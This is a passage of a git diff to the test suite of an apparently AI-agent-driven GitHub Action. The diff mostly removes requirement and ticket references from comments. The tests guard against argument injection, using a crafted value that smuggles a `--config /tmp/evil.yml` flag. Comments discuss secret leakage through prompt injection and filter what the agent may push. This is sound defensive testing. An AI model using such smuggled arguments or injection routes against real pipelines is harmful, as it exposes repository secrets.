somebody pushed. */ const US = "test-companion[bot]" @@ -177,15 +176,15 @@ describe("the result comment says which plan it carried out", () => { describe("naming a plan does not need the mention", () => { /** * FOUND ON A LIVE RUN, 3 November. `readIntent` and `findProposal` both - * learned about `go #1234`, and the gate in plan-run.mjs that decides + * learned about `go `, and the gate in plan-run.mjs that decides * whether an UNADDRESSED comment reaches us at all did not — it still - * only accepted a bare `go`. So `go #1234` was dropped as "no + * only accepted a bare `go`. So `go ` was dropped as "no * @test-companion mention" before the intent was ever read, and naming a * plan only worked if you also addressed the comment. * * Still narrow. `go` followed by a plan reference and nothing else is * unmistakably aimed at us; "Approved, but rename the login case" is still - * an ordinary review comment and still needs the mention (M3, #3101). + * an ordinary review comment and still needs the mention (M3, ). */ const comment = (body) => ({ action: "created", @@ -230,7 +229,7 @@ describe("naming a plan does not need the mention", () => { describe("naming a plan is not editing it", () => { /** - * STM-5434 review (kritansh20, PR #3286). `hasApproverEdits("go #1234")` + * (kritansh20, ). `hasApproverEdits("go ")` * was true, because the bare-approval pattern allowed no plan reference. * That is not just a wrong line in the report: renderApprovedPlan uses the * same answer to append "# Changes the approver made … these win" to the @@ -264,7 +263,7 @@ describe("naming a plan is not editing it", () => { describe("a plan reference has to sit next to the approval", () => { /** - * STM-5434 review. GO_TARGET matched a `#id` anywhere in the comment, so + * . GO_TARGET matched a `#id` anywhere in the comment, so * "@test-companion go — and pull the steps from #issuecomment-…" * became an approval of a plan that does not exist, and was refused. */ diff --git a/test-companion/test/build-effect.test.mjs b/test-companion/test/build-effect.test.mjs index 0d7e7ed..43f2aa5 100644 --- a/test-companion/test/build-effect.test.mjs +++ b/test-companion/test/build-effect.test.mjs @@ -4,7 +4,7 @@ import { readFileSync } from "node:fs" import { OUTCOMES, stepShouldFail, BUILD_EFFECTS } from "../src/outcome.mjs" /** - * A run that BROKE should redden the build — STM-5434 demo feedback, item 6. + * A run that BROKE should redden the build. * * It never did unless a repository opted in, which meant every bad outcome so * far passed silently. That is not what anyone looking at a green tick would @@ -108,7 +108,7 @@ describe("the input documents what it does", () => { describe("an unrecognised value explains the reddening it causes", () => { /** - * STM-5434 review (kritansh20, PR #3286). Reversing the fail-closed rule + * (kritansh20, ). Reversing the fail-closed rule * means `build-effect: none` / `warn` / `false` starts reddening builds. * That is the right default, but it should say why. */ diff --git a/test-companion/test/framework.test.mjs b/test-companion/test/framework.test.mjs index 1ab87ed..754ad37 100644 --- a/test-companion/test/framework.test.mjs +++ b/test-companion/test/framework.test.mjs @@ -2,7 +2,7 @@ import { test, describe } from "node:test" import assert from "node:assert/strict" import { detectFramework } from "../src/framework.mjs" -describe("detectFramework — FR-13", () => { +describe("detectFramework", () => { test("a config file names the framework", () => { assert.equal(detectFramework({ filenames: ["playwright.config.ts", "src/app.ts"] }), "Playwright") assert.equal(detectFramework({ filenames: ["cypress.config.js"] }), "Cypress") diff --git a/test-companion/test/gate.test.mjs b/test-companion/test/gate.test.mjs index 9bb41e6..b9d2b5e 100644 --- a/test-companion/test/gate.test.mjs +++ b/test-companion/test/gate.test.mjs @@ -8,13 +8,13 @@ const go = { kind: INTENT.GO } const fresh = { id: 7, expired: false } const stale = { id: 7, expired: true } -describe("decideGate — FR-43", () => { +describe("decideGate", () => { test("straight-through just runs", () => { assert.equal(decideGate({ intent: asking, approval: "straight-through" }).action, GATE.RUN) }) /** - * FR-43: "the run SHALL post its proposal and end. Nothing SHALL be written + * "the run SHALL post its proposal and end. Nothing SHALL be written * before 'go'." The proposal run is a PREVIEW run — preview is already * enforced in tool dispatch as of Release 1, so "nothing is written" is a * property of the run rather than a promise in a prompt. @@ -33,7 +33,7 @@ describe("decideGate — FR-43", () => { assert.equal(d.preview, false, "approving is the whole point; it must not stay a preview") }) - test('"go" on a proposal older than a day does not run it — FR-44', () => { + test('"go" on a proposal older than a day does not run it', () => { assert.equal(decideGate({ intent: go, approval: "review-before-run", proposal: stale }).action, GATE.EXPIRED) }) @@ -67,10 +67,10 @@ describe("decideGate — FR-43", () => { }) }) -describe("decideGate — who approved it — FR-43", () => { +describe("decideGate — who approved it", () => { /** * Both the asker and the approver need write access, so this is not a - * privilege boundary — it is a workflow-integrity signal. FR-43's user story + * privilege boundary — it is a workflow-integrity signal. user story * has an SDET approving a developer's request; the normative text only says * "someone who can ask". So self-approval is allowed and REPORTED, rather * than silently permitted or blocked outright (blocking would strand a solo @@ -108,8 +108,8 @@ describe("decideGate — who approved it — FR-43", () => { }) }) -describe("a very large change — FR-44", () => { - // FR-44's thresholds, marked ASSUMPTION in the PRD: more than 20 files or +describe("a very large change", () => { + // thresholds, marked ASSUMPTION in the PRD: more than 20 files or // more than 1,000 changed lines. test("an ordinary change is not large", () => { assert.equal(describeChangeSize({ changed_files: 3, additions: 40, deletions: 10 }).large, false) diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs index f7fc6c8..00867e3 100644 --- a/test-companion/test/imports.test.mjs +++ b/test-companion/test/imports.test.mjs @@ -84,7 +84,7 @@ describe("every src module is reachable", () => { /** * Found by a live run, run 41048725625. Asking "@test-companion explain why * the contract check is failing" worked: the Action found the red build and - * passed it to the CLI. Replying "go" to the proposal it put up did NOT — + * passed it to the CLI. Replying "go" to the proposal it put up did NOT * the CLI was spawned with no build at all and died with * `rca requires --context build=`. * @@ -119,8 +119,6 @@ describe("main.mjs — the failing build is resolved after the workflow is final }) /** - * Review of PR #3101, blocker B3. - * * The App's private key arrives in the environment and stays there. Anything * spawned afterwards inherits it — and the agent runs with --yolo, so "what * gets spawned afterwards" includes programs it chose. @@ -145,7 +143,7 @@ describe("main.mjs — the App private key does not outlive its use", () => { // its own commands. // // Anchored on the CALL. The spawn itself moved into answer.mjs when the - // Action started reading the agent's output (STM-5434), and anchoring on + // Action started reading the agent's output, and anchoring on // `spawn(` would now find that module's own line, which says nothing // about the order things happen here. assert.ok( @@ -156,10 +154,10 @@ describe("main.mjs — the App private key does not outlive its use", () => { }) /** - * Live run 41463749519. An approved `fix` broke in under a second, did no - * work, wrote nothing — and the result comment still carried the marker that - * says the plan was spent. Every later `go` on that commit was refused, a - * fresh proposal included, with no way out but a new commit. + * An approved `fix` that breaks in under a second does no work and writes + * nothing, so the result comment must not carry the marker saying the plan + * was spent — otherwise every later `go` on that commit is refused, a fresh + * proposal included, with no way out but a new commit. * * The decision lives in approvalWasSpent and is unit-tested there. What cannot * be unit-tested is that main.mjs actually asks it, so it is pinned here. diff --git a/test-companion/test/intent.test.mjs b/test-companion/test/intent.test.mjs index 4ef4b85..1113aec 100644 --- a/test-companion/test/intent.test.mjs +++ b/test-companion/test/intent.test.mjs @@ -3,16 +3,16 @@ import assert from "node:assert/strict" import { readIntent, INTENT } from "../src/intent.mjs" /** - * FR-34 — what did the comment actually ask for? + * — what did the comment actually ask for? * - * The mapping has to happen HERE, before anything runs, because FR-34 says a + * The mapping has to happen HERE, before anything runs, because says a * request we cannot map gets a reply and "nothing SHALL run". Handing the free * text to the agent and letting it decide would spend the customer's credits * working out that "make coffee" was never a job. */ describe("readIntent — a comment naming a job", () => { /** - * Caught by the FIRST LIVE RUN (rag_assignment PR #20). This table was + * Caught by the FIRST LIVE RUN (rag_assignment ). This table was * written before `test-pr` existed and still said "test", so the flagship * phrase resolved to the job whose wrongness is the entire reason test-pr * exists — and the reply read "`test` is not bound to pull request @@ -54,7 +54,7 @@ describe("readIntent — a comment naming a job", () => { }) describe("readIntent — a request that is not a job", () => { - // FR-34: "A request it cannot map SHALL get a reply listing what it can do, + // "A request it cannot map SHALL get a reply listing what it can do, // and nothing SHALL run." Unknown is a real answer, not a failure. test("a request it cannot place is unknown, not a guess", () => { assert.equal(readIntent("make coffee").kind, INTENT.UNKNOWN) @@ -66,23 +66,23 @@ describe("readIntent — a request that is not a job", () => { }) describe("readIntent — asking for something other than a job", () => { - test('"stop" is a control word, not a job — FR-35', () => { + test('"stop" is a control word, not a job', () => { assert.equal(readIntent("stop").kind, INTENT.STOP) }) - // FR-35 gives stop its own 30-second deadline, so it must not lose to a job + // gives stop its own 30-second deadline, so it must not lose to a job // word that happens to share the sentence. test("stop wins over a job named in the same breath", () => { assert.equal(readIntent("stop, don't fix anything").kind, INTENT.STOP) }) - test('"set up this repo" opens the starter pull request — FR-13', () => { + test('"set up this repo" opens the starter pull request', () => { assert.equal(readIntent("set up this repo").kind, INTENT.SETUP) assert.equal(readIntent("setup this repo").kind, INTENT.SETUP) }) }) -describe("readIntent — preview is a modifier, not a job — FR-8", () => { +describe("readIntent — preview is a modifier, not a job", () => { test("preview rides along with a named job", () => { assert.deepEqual(readIntent("test this PR, preview only"), { kind: INTENT.WORKFLOW, @@ -91,7 +91,7 @@ describe("readIntent — preview is a modifier, not a job — FR-8", () => { }) }) - // FR-8: "Any comment MAY ask for a single preview run." With no job named, + // "Any comment MAY ask for a single preview run." With no job named, // the pipeline file still decides WHICH job — exactly as an event-driven run // does — so the workflow is left null and only the preview flag is set. test("preview on its own previews whatever the pipeline binds", () => { @@ -127,8 +127,8 @@ describe("readIntent — quoted text is not a request", () => { }) }) -describe("readIntent — approving a proposal — FR-43", () => { - // FR-43: "a reply of 'go', with or without edits to the case list, SHALL +describe("readIntent — approving a proposal", () => { + // "a reply of 'go', with or without edits to the case list, SHALL // start a new run on exactly the approved list." test('a bare "go" approves', () => { assert.equal(readIntent("go").kind, INTENT.GO) @@ -156,8 +156,8 @@ describe("readIntent — approving a proposal — FR-43", () => { }) }) -describe("readIntent — any BOUND workflow, not just the pretty phrases — FR-34", () => { - // FR-34 says "any bound workflow in plain words". Four hand-written phrases +describe("readIntent — any BOUND workflow, not just the pretty phrases", () => { + // says "any bound workflow in plain words". Four hand-written phrases // covered four of the CLI's fourteen jobs; asking for the rest by name got // the can't-place reply. Naming a job IS plain words, so the job names the // repository has bound are accepted literally. @@ -204,12 +204,12 @@ describe("readIntent — any BOUND workflow, not just the pretty phrases — FR- describe("stop and set up are what the comment ASKS FOR, not words it contains", () => { /** - * Reported in review of PR #3101. STOP and SETUP were tested before the - * job phrases — deliberately, so "stop, don't fix anything" could not - * start a fix run. But they matched the word ANYWHERE, so: + * STOP and SETUP are tested before the job phrases — deliberately, so + * "stop, don't fix anything" cannot start a fix run. Matching the word + * ANYWHERE was the bug: * - * "don't stop until the tests pass" cancelled the run - * "the test setup is broken, fix it" opened a settings pull request + * "don't stop until the tests pass" cancelled the run + * "the test setup is broken, fix it" opened a settings pull request * * Anchoring to the start keeps the case the ordering exists for and drops * the ones where the word is incidental. A leading politeness is allowed, @@ -241,9 +241,8 @@ describe("stop and set up are what the comment ASKS FOR, not words it contains", }) /** - * Semgrep flagged the per-name `new RegExp` (browserstack/github-actions#91, - * finding 8). These pin the behaviour that matters so it can be rewritten - * without a pattern built from input. + * These pin the behaviour that matters, so the matcher can be rewritten + * without building a pattern out of input. */ describe("naming a bound job — matched on whole words, never as a substring", () => { const bound = { workflows: ["generate", "test-pr", "mobile run", "rca"] } @@ -270,14 +269,12 @@ describe("naming a bound job — matched on whole words, never as a substring", }) /** - * Review of PR #3101, M4. - * * Job words are matched anywhere in the comment and were tested BEFORE the - * approval word. So a reply that approves a waiting plan and adds an edit — - * exactly what FR-43 invites, "you can edit the list first" — was read as a + * approval word. So a reply that approves a waiting plan and adds an edit + * exactly what invites, "you can edit the list first" — was read as a * fresh request for a different job: * - * "go, and fix case 3's title" -> proposes `fix`, instead of approving + * "go, and fix case 3's title" -> proposes `fix`, instead of approving * * When a plan is waiting, the approval reading comes first. */ @@ -296,7 +293,7 @@ describe("a reply to a waiting proposal is read as an approval first", () => { }) test("stop still wins over an approval, even with one waiting", () => { - // FR-35 gives stop its own deadline; approving and cancelling in one + // gives stop its own deadline; approving and cancelling in one // breath must cancel. assert.equal(readIntent("stop", bound).kind, INTENT.STOP) }) diff --git a/test-companion/test/outcome.test.mjs b/test-companion/test/outcome.test.mjs index eb68173..3cb9f04 100644 --- a/test-companion/test/outcome.test.mjs +++ b/test-companion/test/outcome.test.mjs @@ -69,7 +69,7 @@ describe("resolveOutcome", () => { }) }) -describe("checkConclusion — FR-48", () => { +describe("checkConclusion", () => { // Branch protection counts a neutral check as a pass, so there must never be one. test("is never neutral, whatever happened", () => { for (const o of Object.values(OUTCOMES)) { @@ -95,7 +95,7 @@ describe("checkConclusion — FR-48", () => { }) }) -describe("stepShouldFail — FR-9 build effect", () => { +describe("stepShouldFail — build effect", () => { test("report leaves the step green whatever happened", () => { for (const o of Object.values(OUTCOMES)) { assert.equal(stepShouldFail("report", o), false, `${o} reddened the step under report`) @@ -117,7 +117,7 @@ describe("stepShouldFail — FR-9 build effect", () => { assert.equal(stepShouldFail("fail", OUTCOMES.SUCCEEDED), false) }) - // REVERSED by STM-5434 demo feedback, item 6. While `report` was the + // REVERSED by. While `report` was the // default, "a misconfiguration must never redden a build" was the safe // direction. The default is now fail-on-break, so a typo landing you on a // quieter setting than a fresh install is the silent pass item 6 is about. diff --git a/test-companion/test/plan-run.test.mjs b/test-companion/test/plan-run.test.mjs index 8123313..68bb852 100644 --- a/test-companion/test/plan-run.test.mjs +++ b/test-companion/test/plan-run.test.mjs @@ -59,7 +59,7 @@ describe("comment trigger", () => { assert.equal(r.skip.reason, "not-addressed-to-us") }) - // FR-33: editing a comment must not start a run. Otherwise fixing a typo in + // editing a comment must not start a run. Otherwise fixing a typo in // a months-old comment re-runs the job. test("ignores an edited comment", () => { const r = plan("issue_comment", { @@ -102,14 +102,14 @@ describe("pull request triggers", () => { assert.equal(r.skip.reason, "closed-unmerged") }) - // FR-36: a draft never starts a run on its own. A comment still can, which is + // a draft never starts a run on its own. A comment still can, which is // why this check belongs here and not in the comment path. test("a draft pull request does not start a run on its own", () => { const r = plan("pull_request", { action: "opened", pull_request: pr({ draft: true }) }) assert.equal(r.skip.reason, "draft") }) - // FR-3. A fork PR runs with a read-only token and no secrets, so starting + // . A fork PR runs with a read-only token and no secrets, so starting // would fail confusingly partway. Refusing up front is the clean skip. test("a pull request from a fork does not run", () => { const r = plan("pull_request", { @@ -153,7 +153,7 @@ describe("red build trigger", () => { assert.equal(r.skip.reason, "build-not-red") }) - // FR-21: never explain a red run that is our own. Without this, a failing + // never explain a red run that is our own. Without this, a failing // Test Companion check triggers a run to explain the failing Test Companion // check, which triggers another one. test("never explains its own failed run", () => { @@ -189,7 +189,7 @@ describe("other triggers", () => { assert.equal(r.event, TC_EVENTS.SCHEDULE) }) - // FR-12: a manual run names its own job and ignores the bindings entirely, + // a manual run names its own job and ignores the bindings entirely, // which the CLI expresses as "no --event at all". test("a manual run carries no event, so bindings are bypassed", () => { const r = plan( @@ -266,7 +266,7 @@ describe("workflow_run is a privileged trigger", () => { }) describe("context values cannot inject extra keys", () => { - // --context is a comma-separated k=v list, so a comment body containing a + // context is a comma-separated k=v list, so a comment body containing a // comma and an equals sign could otherwise append keys of its own, e.g. // overriding the commit the run looks at. test("strips separators out of free text", () => { @@ -334,8 +334,6 @@ describe("an explicitly named job", () => { }) }) -// ── CodeRabbit findings on PR #3030 ───────────────────────────────────────── - describe("contextArgs — one flag per pair", () => { // A single `--context a=1,b=2` is parsed by pflag with encoding/csv, which // returns ErrBareQuote when an unquoted field contains a double quote. So a @@ -374,7 +372,7 @@ describe("a pull request does not send its title as the subject", () => { // generateSubject in the CLI builds the commit-scoped prompt ("the change in // PR #N, commit SHA … covering only what that change touches") ONLY when no // subject is given. Sending the title meant `generate` on a pull request - // wrote cases for the title instead of the diff, which is FR-15. + // wrote cases for the title instead of the diff, which is. test("pr_opened carries sha, branch and pr but no subject", () => { const plan = planRun({ eventName: "pull_request", @@ -391,7 +389,7 @@ describe("a pull request does not send its title as the subject", () => { // // The issue_comment plan carries `pr` but no `sha`, so checkSha fell back to // GITHUB_SHA — the default branch tip for that event — and the starter's -// checkout took the default branch too. `@test-companion generate` on PR #42 +// checkout took the default branch too. `@test-companion generate` on // therefore read main, and the check landed on main's latest commit. describe("withPullRequestHead — a comment run must name the PR's own commit", () => { const plan = () => ({ event: "pr_comment", context: { pr: "42", instructions: "generate" } }) @@ -431,13 +429,13 @@ describe("withPullRequestHead — a comment run must name the PR's own commit", }) }) -describe("a bare approval reaches us — FR-43", () => { +describe("a bare approval reaches us", () => { /** * Found by the first approved run. The proposal comment says "Reply **go** * to run this for real", a person replies exactly that, and the run skipped * with "No @test-companion mention, so nothing was asked of Test Companion". * - * The proposal was instructing an action that could not work. FR-43 says "a + * The proposal was instructing an action that could not work. says "a * reply of 'go'", and the PRD's own user story has the SDET replying "go" * with no mention at all. * @@ -458,8 +456,8 @@ describe("a bare approval reaches us — FR-43", () => { }) /** - * CHANGED by M3 (review of #3101). This used to be carried through, so - * FR-43's "edit the list while approving" worked with no mention. But + * CHANGED by M3. This used to be carried through, so + * "edit the list while approving" worked with no mention. But * "Approved, but rename the login case" is an ordinary review comment on * any pull request, and unaddressed it started a live write run with the * trailing text as approver edits that win. @@ -585,12 +583,12 @@ describe("pull_request_target is a privileged trigger — it must fail CLOSED", describe("the flag guard sees the FINAL value, not the raw one", () => { /** - * Reported in review of PR #3101 and reproduced. `looksLikeAFlag` ran + * `looksLikeAFlag` used to run * BEFORE `cleanContext`, which calls `stripSeparators` and turns `,`, `=` * and `"` into spaces before trimming. So a value crafted to look safe * beforehand became flag-like afterwards and the gate never saw it: * - * `",--config /tmp/evil.yml"` → guard passes → `--config /tmp/evil.yml` + * `",--config /tmp/evil.yml"` → guard passes → `--config /tmp/evil.yml` * * while the same text unwrapped was correctly refused. Not injectable * today only because every Go arg builder re-checks — the user-visible @@ -621,8 +619,6 @@ describe("the flag guard sees the FINAL value, not the raw one", () => { }) /** - * Review of PR #3101, M3. - * * An UNADDRESSED comment reaches us only as a possible approval. It used to * be enough to open with the word, so "Approved, but rename X" — an ordinary * review comment on any pull request — started a live write run, with @@ -630,7 +626,7 @@ describe("the flag guard sees the FINAL value, not the raw one", () => { * * Unaddressed, the comment must now BE the approval and nothing else. * Addressed, "@test-companion go and also cover X" still works: that is - * FR-43's "you can edit the list first", and they did address us. + * "you can edit the list first", and they did address us. */ describe("an unaddressed comment counts as approval only when it is exactly that", () => { const comment = (body) => diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index 6a38fdc..e179d3d 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -241,7 +241,7 @@ describe("changedPaths — the bug a live run found that 345 unit tests did not" * `git status --porcelain` puts a SPACE in the first column for an * unstaged modification, so the line is " M tests/pricing.spec.js" — three * characters before the path. The caller trimmed git's whole stdout, which - * removed that leading space from the FIRST LINE ONLY, leaving a two- + * removed that leading space from the FIRST LINE ONLY, leaving a two * character prefix and a fixed slice(3) that ate the "t". * * Both ends are fixed: the caller no longer trims, and this parse no @@ -302,7 +302,7 @@ describe("isSameRepo — whose branch is this, really", () => { describe("changedPaths — paths git had to escape", () => { /** - * Reported in review of PR #3101, and reproduced: with `core.quotePath` on + * With `core.quotePath` on * (the default) git octal-escapes non-ASCII bytes, so `café.spec.ts` comes * out as `"caf\\303\\251.spec.ts"`. Stripping the quotes without decoding * leaves a path that does not exist, and `git add` with several pathspecs @@ -346,7 +346,7 @@ describe("changedPaths — characters outside the basic plane", () => { * each one, so an astral character — an emoji — was split into its two * surrogate halves and each half became U+FFFD: * - * "my 🎉 file.spec.ts" -> "my \uFFFD\uFFFD file.spec.ts" + * "my 🎉 file.spec.ts" -> "my \uFFFD\uFFFD file.spec.ts" * * Reachable BECAUSE of the other half of the fix: with * `core.quotePath=false` git stops octal-escaping non-ASCII but still @@ -375,7 +375,7 @@ describe("changedPaths — characters outside the basic plane", () => { describe("the App token has to reach git, not just gh", () => { /** - * Reported in review of PR #3101. action.yml and the starter both tell + * action.yml and the starter both tell * customers they can delete the `permissions:` block once the App is * installed, "because the App's installation token carries these * permissions itself". The token was put in GH_TOKEN, which only `gh` @@ -444,7 +444,7 @@ describe("our own git commands must not carry secrets or run hooks", () => { * `git commit` with TC_ACTION_APP_PRIVATE_KEY, GH_TOKEN and the customer's * BrowserStack key in its environment. On pull_request_target the diff is * attacker-authored, so that is one prompt injection from a key leaving - * the runner. Reported by the security review of this change. + * the runner. */ const dirty = { PATH: "/usr/bin", @@ -719,11 +719,10 @@ describe("the config check reads the repository, not our own flags", () => { }) /** - * Review of PR #3101, M6 and M7. Two ways the push carried more than the run - * meant to write. + * Two ways the push could carry more than the run meant to write. */ describe("the push carries the run's test files and nothing else", () => { - test("M6 — a new directory must arrive as its files, not as one entry", () => { + test("a new directory must arrive as its files, not as one entry", () => { // `git status --porcelain` without -uall collapses a new directory to // `?? tests/`. splitPushable then sees ONE path with one segment, its // deny list never sees `tests/.env` or `tests/run.log`, and @@ -740,14 +739,14 @@ describe("the push carries the run's test files and nothing else", () => { assert.ok(split.skip.includes("tests/.env"), "a secret must never be committed") }) - test("M7 — a commit the agent made itself is not ours to push", () => { + test("a commit the agent made itself is not ours to push", () => { // We push HEAD. If the agent committed, HEAD carries whatever it put in - // — source, lockfiles, .github/ — none of it filtered by splitPushable. + // source, lockfiles.github/ — none of it filtered by splitPushable. assert.equal(agentCommitted("aaa111", "bbb222"), true) assert.equal(agentCommitted("aaa111", "aaa111"), false) }) - test("M7 — not knowing where HEAD was is not permission to push", () => { + test("not knowing where HEAD was is not permission to push", () => { assert.equal(agentCommitted(undefined, "bbb222"), true, "unknown must fail closed") assert.equal(agentCommitted("", "bbb222"), true) }) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index adaba0e..17ecff4 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -41,14 +41,14 @@ const base = { runUrl: "https://github.com/acme/shop/actions/runs/99", } -describe("renderJobSummary — FR-27", () => { +describe("renderJobSummary", () => { test("leads with what happened", () => { const md = renderJobSummary(base) assert.match(md, /Succeeded/) assert.match(md, /generate/) }) - // FR-8: a preview run must be marked as one wherever it reports, or a reader + // a preview run must be marked as one wherever it reports, or a reader // sees a clean result and assumes the work landed. test("marks a preview run, and scopes the claim to Test Companion's own writes", () => { const md = renderJobSummary(base) @@ -57,7 +57,7 @@ describe("renderJobSummary — FR-27", () => { // It must NOT claim nothing at all was written. Preview deliberately // allows `execute_command`, since that is how tests run, so a shell // command the agent chose can still edit a file or push. The old wording - // promised a guarantee the gate does not give (review finding, #3030). + // promised a guarantee the gate does not give (review finding, ). assert.doesNotMatch(md, /\bnothing was written\b/i) assert.match(md, /[Ss]hell commands.*not covered/i) }) @@ -67,7 +67,7 @@ describe("renderJobSummary — FR-27", () => { assert.doesNotMatch(md, /Preview —/i) }) - // Every run leaves a readable result, including the ones that went wrong — + // Every run leaves a readable result, including the ones that went wrong // a run with no report at all is exactly when the reader needs the page most. test("still renders when the CLI left no report", () => { const md = renderJobSummary({ ...base, outcome: OUTCOMES.COULD_NOT_RUN, summary: {} }) @@ -80,7 +80,7 @@ describe("renderJobSummary — FR-27", () => { }) }) -describe("renderComment — FR-29", () => { +describe("renderComment", () => { // The marker is how the next run finds this comment instead of adding a // second one. It must be in every comment we ever write. test("always carries the marker that makes it findable", () => { @@ -93,7 +93,7 @@ describe("renderComment — FR-29", () => { }) }) -describe("chooseCommentAction — FR-29", () => { +describe("chooseCommentAction", () => { const ours = { id: 7, body: `hello ${COMMENT_MARKER}`, user: { type: "Bot", login: US } } const theirs = { id: 8, body: "looks good", user: { type: "User" } } @@ -139,7 +139,7 @@ describe("which commit the check lands on", () => { }) }) -describe("what the run cost and produced — FR-27", () => { +describe("what the run cost and produced", () => { // A report that says a run "Succeeded" and nothing else leaves the two // questions a reviewer actually has unanswered: what did it cost me, and // where did its work go. @@ -199,7 +199,7 @@ describe("what the run cost and produced — FR-27", () => { }) }) -describe("naming what failed — FR-28", () => { +describe("naming what failed", () => { // "Tests failed" with no names makes the reviewer open the run and read the // logs, which is the thing a pull request report exists to avoid. test("lists the failing tests by name", () => { @@ -236,21 +236,21 @@ describe("naming what failed — FR-28", () => { }) }) -describe("replying when we will not run — FR-33, FR-34", () => { +describe("replying when we will not run", () => { /** * Both of these used to go only to the job summary. The person who commented * never opens the run's logs, so from where they sat Test Companion simply * ignored them. */ - test("someone without write access is told so, and who can ask — FR-33", () => { + test("someone without write access is told so, and who can ask", () => { const body = renderNotAuthorized("octocat") assert.match(body, /@octocat/) assert.match(body, /write access/i) }) - test("a request we cannot place gets the list of what we can do — FR-34", () => { + test("a request we cannot place gets the list of what we can do", () => { const body = renderUnknownRequest() - // `stop` left the list with the capability itself — STM-5434 demo + // `stop` left the list with the capability itself demo // feedback, item 7. See stop-removed.test.mjs. for (const phrase of ["test this PR", "explain this failure", "fix the failing tests", "re-check"]) { assert.ok(body.includes(phrase), `the list should offer "${phrase}"`) @@ -274,7 +274,7 @@ describe("replying when we will not run — FR-33, FR-34", () => { }) }) -describe("the waiting proposal — FR-43, FR-44", () => { +describe("the waiting proposal", () => { const SHA = "abc123" const marker = proposalMarkerFor(SHA) const hoursAgo = (h) => new Date(Date.now() - h * 3600_000).toISOString() @@ -291,7 +291,7 @@ describe("the waiting proposal — FR-43, FR-44", () => { }) /** - * FR-44: "New commits while waiting SHALL replace the proposal." Keying the + * "New commits while waiting SHALL replace the proposal." Keying the * marker to the commit is what makes that true without any sweeping — a * proposal simply stops being found once the branch moves, so "go" on a * stale proposal cannot approve work nobody reviewed. @@ -311,11 +311,11 @@ describe("the waiting proposal — FR-43, FR-44", () => { assert.equal(findProposal([proposal({ id: 10 }), proposal({ id: 12 })], SHA, undefined, US)?.id, 12) }) - test("a proposal inside the window has not expired — FR-44", () => { + test("a proposal inside the window has not expired", () => { assert.equal(findProposal([proposal({ created_at: hoursAgo(23) })], SHA, undefined, US)?.expired, false) }) - test("after 24 hours it has — FR-44", () => { + test("after 24 hours it has", () => { assert.equal(findProposal([proposal({ created_at: hoursAgo(25) })], SHA, undefined, US)?.expired, true) }) @@ -338,7 +338,7 @@ describe("the waiting proposal — FR-43, FR-44", () => { }) }) -describe("dropping a proposal nobody answered — FR-44", () => { +describe("dropping a proposal nobody answered", () => { const SHA = "abc123" const hoursAgo = (h) => new Date(Date.now() - h * 3600_000).toISOString() const proposal = (h) => ({ @@ -353,7 +353,7 @@ describe("dropping a proposal nobody answered — FR-44", () => { * Without this sweep, a proposal nobody replies to leaves the check on * "in progress" forever — and anyone who made it a required check is blocked * by a check that never resolves. That is the exact failure Release 2 avoided - * by posting the tick at the end, so FR-44's in-progress check may only exist + * by posting the tick at the end, so in-progress check may only exist * if something is guaranteed to end it. */ test("an expired proposal needs dropping", () => { @@ -379,7 +379,7 @@ describe("dropping a proposal nobody answered — FR-44", () => { }) }) -describe("reading a paginated gh response — FR-29", () => { +describe("reading a paginated gh response", () => { /** * `gh api --paginate --slurp` returns an ARRAY OF PAGES, not a flat array of * items — and it wraps even when there is only one page. Verified against @@ -388,7 +388,7 @@ describe("reading a paginated gh response — FR-29", () => { * This matters because chooseCommentAction filters on `c.user.type`. Handed * an array of arrays it matches nothing, returns "create" every time, and * every run posts a NEW comment — which is exactly the single-comment - * guarantee FR-29 asks for, broken in the fix that was meant to protect it. + * guarantee asks for, broken in the fix that was meant to protect it. */ test("pages are flattened into items", () => { const pages = [[{ id: 1 }, { id: 2 }], [{ id: 3 }]] @@ -399,7 +399,7 @@ describe("reading a paginated gh response — FR-29", () => { assert.deepEqual(flattenPages([[{ id: 1 }]]), [{ id: 1 }]) }) - // Defensive: objects are not arrays, so flat() leaves an already-flat list + // Defensive: objects are not arrays, so flat leaves an already-flat list // alone. That keeps this correct if gh ever changes its mind. test("an already-flat list is unchanged", () => { assert.deepEqual(flattenPages([{ id: 1 }]), [{ id: 1 }]) @@ -418,7 +418,7 @@ describe("reading a paginated gh response — FR-29", () => { }) }) -describe("who asked for a proposal — FR-43", () => { +describe("who asked for a proposal", () => { const SHA = "abc123" const bot = (body, over = {}) => ({ id: 10, @@ -450,7 +450,7 @@ describe("who asked for a proposal — FR-43", () => { }) }) -describe("self-approval is visible in the report — FR-43", () => { +describe("self-approval is visible in the report", () => { test("the note appears where a reviewer reads the result", () => { const body = renderJobSummary({ outcome: OUTCOMES.SUCCEEDED, @@ -466,7 +466,7 @@ describe("self-approval is visible in the report — FR-43", () => { }) }) -describe("the refusal names the team when one is set — FR-33", () => { +describe("the refusal names the team when one is set", () => { test("without a team, it names write access", () => { assert.match(renderNotAuthorized("octocat"), /write access/i) }) @@ -478,7 +478,7 @@ describe("the refusal names the team when one is set — FR-33", () => { }) }) -describe("accessibility and visual lines — FR-45", () => { +describe("accessibility and visual lines", () => { test("silent when the settings did not ask", () => { assert.deepEqual(renderExtraChecks({ accessibility_new: "3" }, {}), []) }) @@ -490,7 +490,7 @@ describe("accessibility and visual lines — FR-45", () => { assert.match(lines[0], /3/) }) - // FR-45: "N changes awaiting review" with a Percy link. + // "N changes awaiting review" with a Percy link. test("the visual line reports what is waiting, with its link", () => { const lines = renderExtraChecks({ visual_changes: "4", visual_url: "https://percy.io/x" }, { visual: true }) assert.match(lines[0], /4 changes awaiting review/) @@ -504,7 +504,7 @@ describe("accessibility and visual lines — FR-45", () => { }) }) -describe("when accessibility may fail the check — FR-45", () => { +describe("when accessibility may fail the check", () => { // "SHALL fail the check only when the file says so, and by default only // violations this change introduced count." test("never by default, however many violations there are", () => { @@ -554,7 +554,7 @@ describe("the report carries the extra lines and warnings", () => { }) }) -describe("the approved plan handed to the run — FR-43", () => { +describe("the approved plan handed to the run", () => { const SHA = "abc123" test("findProposal returns the body, because the run has to read it", () => { @@ -575,8 +575,8 @@ describe("the approved plan handed to the run — FR-43", () => { }) /** - * FR-43 allows "go" with or without edits. A bare "go" must not leave the - * run looking for instructions that were never given. + * "go" may 